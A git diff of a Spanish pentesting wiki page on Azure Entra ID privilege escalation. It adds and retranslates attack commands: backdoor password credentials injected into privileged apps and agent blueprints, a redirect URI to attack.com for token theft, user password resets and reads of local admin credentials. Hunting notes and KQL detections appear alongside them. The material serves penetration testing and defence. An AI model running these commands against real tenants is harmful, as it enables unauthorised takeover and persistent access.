diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
index 8a80af269..0f6faa64f 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
@@ -9,9 +9,9 @@
### Role: Privileged Role Administrator
-Este role contiene los permisos granulares necesarios para poder asignar roles a principals y para dar más permisos a roles. Ambas acciones podrían abusarse para escalar privilegios.
+Este role contiene los permisos granulares necesarios para poder asignar roles a principals y dar más permisos a roles. Ambas acciones podrían ser abusadas para escalar privilegios.
-- Assign role to a user:
+- Asignar role a un user:
```bash
# List enabled built-in roles
az rest --method GET \
@@ -59,15 +59,46 @@ az ad app credential reset --id --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id --create-cert
```
+### `microsoft.directory/applications.myOrganization/allProperties/update`
+
+Este permiso concede actualización de **cada propiedad escribible** de cualquier registro de aplicación **single-tenant** (`signInAudience = AzureADMyOrg`), incluyendo `passwordCredentials` y `keyCredentials`. Está marcado como `IsPrivileged: true` en el catálogo, pero **no** aparece en ningún built-in role — aparece casi exclusivamente en **custom roles** que un admin crea para delegar "manage our internal apps" sin darse cuenta de que el subtipo `.myOrganization` limita la acción exactamente al conjunto de apps que con más probabilidad contienen permisos privilegiados de Microsoft Graph.
+
+- Enumerate apps with privileged Microsoft Graph permissions consented:
+```bash
+# SPs with at least one Microsoft Graph app role assigned
+GRAPH_SP_ID=$(az ad sp show --id 00000003-0000-0000-c000-000000000000 --query id -o tsv)
+az rest --method GET \
+--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$GRAPH_SP_ID/appRoleAssignedTo" \
+--query "value[].{App:principalDisplayName, SP:principalId, RoleId:appRoleId}" \
+-o table
+
+# Resolve a RoleId to the human-readable permission name
+az ad sp show --id 00000003-0000-0000-c000-000000000000 \
+--query "appRoles[?id==''].value" -o tsv
+```
+- Confirmar que el objetivo es single-tenant (dentro del subscope `.myOrganization`):
+```bash
+az rest --method GET \
+--uri "https://graph.microsoft.com/v1.0/applications(appId='')" \
+--query "{audience:signInAudience, name:displayName}"
+# audience must be "AzureADMyOrg"
+```
+- Inyecta una credencial en la app objetivo — el único paso privilegiado en la cadena:
+```bash
+az rest --method POST \
+--uri "https://graph.microsoft.com/v1.0/applications(appId='')/addPassword" \
+--headers "Content-Type=application/json" \
+--body '{"passwordCredential":{"displayName":"backdoor"}}'
+```
### `microsoft.directory/applications.myOrganization/credentials/update`
-Esto permite las mismas acciones que `applications/credentials/update`, pero con alcance a aplicaciones de un solo directorio.
+Esto permite las mismas acciones que `applications/credentials/update`, pero limitado a aplicaciones de un solo directorio.
```bash
az ad app credential reset --id --append
```
### `microsoft.directory/applications/owners/update`
-Al agregarse a sí mismos como owner, un atacante puede manipular la aplicación, incluidas las credenciales y permisos.
+Al agregarse como propietario, un atacante puede manipular la aplicación, incluyendo credenciales y permisos.
```bash
az ad app owner add --id --owner-object-id
az ad app credential reset --id --append
@@ -77,24 +108,24 @@ az ad app owner list --id
```
### `microsoft.directory/applications/allProperties/update`
-Un atacante puede agregar un redirect URI a aplicaciones que están siendo usadas por usuarios del tenant y luego compartir con ellos URLs de login que usen el nuevo redirect URL para robar sus tokens. Ten en cuenta que si el usuario ya había iniciado sesión en la aplicación, la autenticación será automática sin que el usuario necesite aceptar nada.
+Un atacante puede agregar una redirect URI a las applications que están siendo usadas por usuarios del tenant y luego compartir con ellos login URLs que usan la nueva redirect URL para robar sus tokens. Ten en cuenta que, si el user ya había iniciado sesión en la application, la autenticación será automática sin que el user tenga que aceptar nada.
-Ten en cuenta que también es posible cambiar los permisos que la aplicación solicita para obtener más permisos, pero en este caso el usuario tendrá que aceptar de nuevo el prompt que solicita todos los permisos.
+Ten en cuenta que también es posible cambiar los permissions que la application solicita para obtener más permissions, pero en este caso el user tendrá que aceptar de nuevo el prompt que pide todos los permissions.
```bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id --web-redirect-uris "https://original.com/callback https://attack.com/callback"
```
-### Escalada de privilegios en Applications
+### Elevación de Privilegios de Applications
-**Como se explica en [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**, era muy común encontrar aplicaciones por defecto que tienen **API permissions** de tipo **`Application`** asignadas. Un API Permission (como se llama en la consola de Entra ID) de tipo **`Application`** significa que la aplicación puede acceder a la API y realizar acciones sin un contexto de usuario (sin que un usuario haga login en la app), y sin necesitar roles de Entra ID para अनुमतिirlo. Por lo tanto, es muy común encontrar **applications con altos privilegios en cada tenant de Entra ID**.
+**Como se explica en [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**, era muy común encontrar aplicaciones predeterminadas que tenían **API permissions** de tipo **`Application`** asignadas. Un API Permission (como se llama en la consola de Entra ID) de tipo **`Application`** significa que la application puede acceder a la API y realizar acciones sin un contexto de usuario (sin un usuario iniciando sesión en la app), y sin necesitar roles de Entra ID para permitirlo. Por lo tanto, es muy común encontrar **aplicaciones con altos privilegios en cada tenant de Entra ID**.
-Entonces, si un attacker tiene cualquier permiso/rol que permita **actualizar las credentials (secret o certificate) de la application**, el attacker puede generar una nueva credential y luego usarla para **authenticarse como la application**, obteniendo todos los permisos que la application tiene.
+Entonces, si un atacante tiene cualquier permiso/rol que le permita **actualizar las credentials (secret o certificate) de la application**, el atacante puede generar una nueva credential y luego usarla para **autenticarse como la application**, obteniendo todos los permisos que la application tiene.
-Ten en cuenta que el blog mencionado comparte algunos **API permissions** de aplicaciones por defecto comunes de Microsoft; sin embargo, algún tiempo después de este report Microsoft corrigió este issue y ahora ya no es posible hacer login como las aplicaciones de Microsoft. No obstante, todavía es posible encontrar **custom applications con altos privilegios que podrían ser abused**.
+Ten en cuenta que el blog mencionado comparte algunos **API permissions** de aplicaciones predeterminadas comunes de Microsoft; sin embargo, algún tiempo después de este reporte Microsoft corrigió este problema y ahora ya no es posible iniciar sesión como aplicaciones de Microsoft. No obstante, todavía es posible encontrar **custom applications con altos privilegios que podrían ser abusadas**.
-How to enumerate the API permissions of an application:
+Cómo enumerar los API permissions de una application:
```bash
# Get "API Permissions" of an App
## Get the ResourceAppId
@@ -125,7 +156,7 @@ az ad sp show --id --query "appRoles[?id==''].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
-Encuentra todos los permisos API de las aplicaciones y marca las APIs propiedad de Microsoft
+Encuentra todos los permisos de API de las aplicaciones y marca las APIs de Microsoft
```bash
#!/usr/bin/env bash
set -euo pipefail
@@ -241,34 +272,34 @@ done < <(jq -c '.[]' <<<"$apps_json")
### `microsoft.directory/servicePrincipals/credentials/update`
-Esto permite a un attacker añadir credentials a service principals existentes. Si el service principal tiene privilegios elevados, el attacker puede asumir esos privilegios.
+Esto permite a un atacante añadir credenciales a service principals existentes. Si el service principal tiene privilegios elevados, el atacante puede asumir esos privilegios.
```bash
az ad sp credential reset --id --append
```
> [!CAUTION]
-> La nueva contraseña generada no aparecerá en la web console, así que esto podría ser una forma stealth de mantener persistence sobre un service principal.\
-> Desde la API pueden encontrarse con: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
+> La nueva contraseña generada no aparecerá en la consola web, así que esto podría ser una forma sigilosa de mantener persistence sobre un service principal.\
+> Desde la API se pueden encontrar con: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
-Si obtienes el error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` es porque **no es posible modificar la propiedad passwordCredentials** del SP y primero necesitas desbloquearla. Para ello necesitas un permiso (`microsoft.directory/applications/allProperties/update`) que te permita ejecutar:
+Si obtienes el error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` es porque **no es posible modificar la propiedad passwordCredentials** del SP y primero necesitas desbloquearlo. Para ello necesitas un permiso (`microsoft.directory/applications/allProperties/update`) que te permite ejecutar:
```bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/ --body '{"servicePrincipalLockConfiguration": null}'
```
### Entra Agent ID blueprint credential abuse (`AgentIdentityBlueprint.AddRemoveCreds.All`)
-**Agent identity blueprints** are application objects and each blueprint also creates an **agent identity blueprint principal** in the tenant. **Agent identities** are service-principal-derived children of that blueprint path. Therefore, if an attacker can **add a password/certificate to the blueprint** or already stole one of its credentials, they can later authenticate as the **blueprint principal** and request tokens for child agent identities.
+**Agent identity blueprints** son application objects y cada blueprint también crea un **agent identity blueprint principal** en el tenant. **Agent identities** son service-principal-derived children de esa ruta de blueprint. Por lo tanto, si un attacker puede **add a password/certificate to the blueprint** o ya robó una de sus credentials, luego puede authenticate como el **blueprint principal** y request tokens para child agent identities.
-This turns a bad Entra Agent ID role assignment into both:
+Esto convierte un mal Entra Agent ID role assignment en ambos:
-- **Persistence**: the new `passwordCredential` remains on the blueprint until removed
-- **Privilege escalation**: a low-trust/dev agent can cross into a different high-trust blueprint and then act as its child agents
+- **Persistence**: el nuevo `passwordCredential` permanece en el blueprint hasta que se elimine
+- **Privilege escalation**: un low-trust/dev agent puede cruzar a un blueprint diferente de high-trust y luego actuar como sus child agents
-Typical dangerous paths are:
+Las rutas típicamente peligrosas son:
-- A compromised agent identity with **`AgentIdentityBlueprint.AddRemoveCreds.All`**
-- A compromised owner/sponsor/admin able to manage the blueprint
-- Theft of an existing blueprint secret/certificate
+- Una compromised agent identity con **`AgentIdentityBlueprint.AddRemoveCreds.All`**
+- Un compromised owner/sponsor/admin capaz de manage el blueprint
+- Theft de un existing blueprint secret/certificate
-Añade un nuevo secret al blueprint objetivo:
+Add a new secret to the target blueprint:
```bash
az rest --method POST \
--url "https://graph.microsoft.com/beta/applications//addPassword" \
@@ -280,7 +311,7 @@ O con Microsoft Graph PowerShell:
$params = @{ passwordCredential = @{ displayName = 'ht-backdoor' } }
Add-MgBetaApplicationPassword -ApplicationId -BodyParameter $params
```
-Si la nueva credencial es aceptada, autentícate como el **blueprint principal** y abuse del Agent ID token exchange. La primera request usa la credencial de blueprint y establece **`fmi_path`** en la identidad del agente objetivo. El token devuelto luego se reutiliza como un **JWT bearer `client_assertion`** para obtener un Microsoft Graph token para esa identidad de agente.
+Si la nueva credencial es aceptada, autentícate como el **blueprint principal** y abuse del intercambio de tokens del Agent ID. La primera request usa la credencial del blueprint y establece **`fmi_path`** en la identidad del agent objetivo. El token devuelto luego se reutiliza como un **JWT bearer `client_assertion`** para obtener un token de Microsoft Graph para esa identidad del agent.
```bash
curl -X POST "https://login.microsoftonline.com//oauth2/v2.0/token" \
-H 'Content-Type: application/x-www-form-urlencoded' \
@@ -303,7 +334,7 @@ curl -X POST "https://login.microsoftonline.com//oauth2/v2.0/token" \
> [!CAUTION]
> Si un blueprint de **dev** o su agente hijo puede agregar credenciales a un blueprint de **prod**, el atacante cruza el límite de confianza esperado entre blueprint/agente y obtiene acceso duradero a la infraestructura del agente objetivo.
-Validación rápida / alcance:
+Quick validation / scoping:
```powershell
$sp = Get-MgBetaServicePrincipal -ServicePrincipalId
$sp.AdditionalProperties['@odata.type']
@@ -316,17 +347,17 @@ $app.PasswordCredentials | ? { $_.KeyId -eq '' }
Notas de hunting:
- Busca **`Update application – Certificates and secrets management`** en [Az - Monitoring](../../az-services/az-monitoring.md)
-- Correlaciona **`AuditLogs`**, **`MicrosoftGraphActivityLogs`** y **`AADServicePrincipalSignInLogs`** usando tiempo, service principal ID, user-agent, IP y `SignInActivityId` / `UniqueTokenIdentifier`
-- En `MicrosoftGraphActivityLogs`, revisa `RequestUri` terminando en **`/applications//microsoft.graph.addPassword`** y si `Roles` contiene **`AgentIdentityBlueprint.AddRemoveCreds.All`**
-- En `AADServicePrincipalSignInLogs`, revisa `ServicePrincipalCredentialKeyId`, `ClientCredentialType`, `Agent.agentType` y si la nueva key fue usada después
+- Correlaciona **`AuditLogs`**, **`MicrosoftGraphActivityLogs`**, y **`AADServicePrincipalSignInLogs`** usando time, service principal ID, user-agent, IP, y `SignInActivityId` / `UniqueTokenIdentifier`
+- En `MicrosoftGraphActivityLogs`, comprueba `RequestUri` terminando en **`/applications//microsoft.graph.addPassword`** y si `Roles` contiene **`AgentIdentityBlueprint.AddRemoveCreds.All`**
+- En `AADServicePrincipalSignInLogs`, revisa `ServicePrincipalCredentialKeyId`, `ClientCredentialType`, `Agent.agentType`, y si la nueva key se usó después
-Minimal KQL para ver si el secret recién agregado autenticó:
+KQL mínimo para ver si el secret recién añadido autenticó:
```kusto
AADServicePrincipalSignInLogs
| where ServicePrincipalCredentialKeyId == ""
| project CreatedDateTime, ServicePrincipalName, ServicePrincipalId, IPAddress, UserAgent, ResourceDisplayName
```
-Esto está relacionado con [application credential abuse](../../az-services/az-azuread.md#applications) genérico y [service principal credential persistence](../../az-persistence/README.md#applications-and-service-principals), pero Entra Agent ID añade una segunda etapa donde el blueprint credential puede ser intercambiado por un **different agent identity token**.
+Esto está relacionado con el [application credential abuse](../../az-services/az-azuread.md#applications) genérico y la [service principal credential persistence](../../az-persistence/README.md#applications-and-service-principals), pero Entra Agent ID añade una segunda etapa en la que la blueprint credential puede intercambiarse por un **different agent identity token**.
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
@@ -336,7 +367,7 @@ az ad sp credential reset --id --append
```
### `microsoft.directory/servicePrincipals/owners/update`
-Al igual que con las applications, este permiso permite agregar más owners a un service principal. Ser owner de un service principal permite controlar sus credentials y permissions.
+Al igual que con las applications, este permiso permite agregar más owners a un service principal. Ser owner de un service principal permite controlar sus credentials y permisos.
```bash
# Add new owner
spId=""
@@ -354,13 +385,13 @@ az ad sp credential reset --id --append
az ad sp owner list --id
```
> [!CAUTION]
-> Después de añadir un nuevo owner, intenté eliminarlo, pero la API respondió que el método DELETE no estaba soportado, incluso aunque sea el método que necesitas usar para eliminar el owner. Así que **no puedes eliminar owners hoy en día**.
+> Después de agregar un nuevo owner, intenté eliminarlo, pero la API respondió que el método DELETE no estaba soportado, aunque es el método que necesitas usar para borrar el owner. Así que **no puedes eliminar owners actualmente**.
### `microsoft.directory/servicePrincipals/disable` and `enable`
Estos permisos permiten deshabilitar y habilitar service principals. Un atacante podría usar este permiso para habilitar un service principal al que pudiera obtener acceso de alguna forma para escalar privilegios.
-Ten en cuenta que para esta técnica el atacante necesitará más permisos para poder tomar control del service principal habilitado.
+Ten en cuenta que para esta técnica el atacante necesitará más permisos para tomar control del service principal habilitado.
```bash
# Disable
az ad sp update --id --account-enabled false
@@ -392,11 +423,11 @@ az rest --method POST \
```
---
-## Groups
+## Grupos
### `microsoft.directory/groups/allProperties/update`
-Este permiso permite agregar usuarios a grupos privilegiados, lo que conduce a privilege escalation.
+Este permiso permite añadir usuarios a grupos privilegiados, lo que lleva a privilege escalation.
```bash
az ad group member add --group --member-id
```
@@ -404,7 +435,7 @@ az ad group member add --group --member-id
### `microsoft.directory/groups/owners/update`
-Este permiso permite convertirse en propietario de grupos. Un propietario de un grupo puede controlar la membresía y la configuración del grupo, lo que potencialmente permite escalar privilegios al grupo.
+Este permiso permite convertirse en owner de grupos. Un owner de un grupo puede controlar la membresía y la configuración del grupo, lo que potencialmente permite escalar privilegios al grupo.
```bash
az ad group owner add --group --owner-object-id
az ad group member add --group --member-id
@@ -413,7 +444,7 @@ az ad group member add --group --member-id
### `microsoft.directory/groups/members/update`
-Este permiso permite agregar miembros a un grupo. Un atacante podría agregarse a sí mismo o a cuentas maliciosas a grupos privilegiados, lo que puede otorgar acceso elevado.
+Este permiso permite agregar miembros a un grupo. Un atacante podría agregarse a sí mismo o agregar cuentas maliciosas a grupos privilegiados, lo que puede otorgar acceso elevado.
```bash
az ad group member add --group --member-id
```
@@ -434,7 +465,7 @@ az rest --method PATCH \
### Dynamic Groups Privesc
-Podría ser posible que los usuarios escalen privilegios modificando sus propias propiedades para ser agregados como miembros de dynamic groups. Para más información, consulta:
+Puede ser posible que los usuarios escalen privilegios modificando sus propias propiedades para ser añadidos como miembros de dynamic groups. Para más información, revisa:
{{#ref}}
dynamic-groups.md
@@ -444,7 +475,7 @@ dynamic-groups.md
### `microsoft.directory/users/password/update`
-Este permiso permite restablecer la contraseña de usuarios non-admin, lo que permite a un posible atacante escalar privilegios a otros usuarios. Este permiso no puede asignarse a custom roles.
+Este permiso permite reset password de usuarios no-admin, permitiendo a un posible atacante escalar privilegios a otros usuarios. Este permiso no puede asignarse a custom roles.
```bash
# Update user password
userId=""
@@ -464,7 +495,7 @@ az rest --method PATCH \
```
### `microsoft.directory/users/basic/update`
-Este privilegio permite modificar propiedades del usuario. Es común encontrar grupos dinámicos que agregan usuarios según valores de propiedades, por lo tanto, este permiso podría permitir a un usuario establecer el valor de propiedad necesario para ser miembro de un grupo dinámico específico y escalar privilegios.
+Este privilegio permite modificar propiedades del usuario. Es común encontrar grupos dinámicos que añaden usuarios según valores de propiedades, por lo tanto, este permiso podría permitir a un usuario establecer el valor de la propiedad necesaria para ser miembro de un grupo dinámico específico y escalar privilegios.
```bash
#e.g. change manager of a user
victimUser=""
@@ -480,9 +511,9 @@ az rest --method PATCH \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
```
-## Conditional Access Policies & MFA bypass
+## Políticas de Acceso Condicional y bypass de MFA
-Las políticas de conditional access mal configuradas que requieren MFA podrían ser bypassed, revisa:
+Las políticas de acceso condicional mal configuradas que requieren MFA podrían ser bypassed, revisa:
{{#ref}}
az-conditional-access-policies-mfa-bypass.md
@@ -492,7 +523,7 @@ az-conditional-access-policies-mfa-bypass.md
### `microsoft.directory/devices/registeredOwners/update`
-Este permission permite a attackers asignarse a sí mismos como owners de dispositivos para obtener control o access a configuraciones y datos específicos del dispositivo.
+Este permiso permite a los attackers asignarse a sí mismos como owners de dispositivos para obtener control o acceso a configuraciones y datos específicos del dispositivo.
```bash
deviceId=""
userId=""
@@ -503,7 +534,7 @@ az rest --method POST \
```
### `microsoft.directory/devices/registeredUsers/update`
-Este permiso permite a los atacantes asociar su cuenta con dispositivos para obtener acceso o eludir políticas de seguridad.
+Este permiso permite a los attackers asociar su cuenta con devices para obtener acceso o para eludir security policies.
```bash
deviceId=""
userId=""
@@ -514,7 +545,7 @@ az rest --method POST \
```
### `microsoft.directory/deviceLocalCredentials/password/read`
-Este permiso permite a los atacantes leer las propiedades de las credenciales de la cuenta de administrador local respaldada para dispositivos unidos a Microsoft Entra, incluida la contraseña
+Este permiso permite a los attackers leer las propiedades de las credenciales de la cuenta de administrador local respaldada para dispositivos unidos a Microsoft Entra, incluyendo la password
```bash
# List deviceLocalCredentials
az rest --method GET \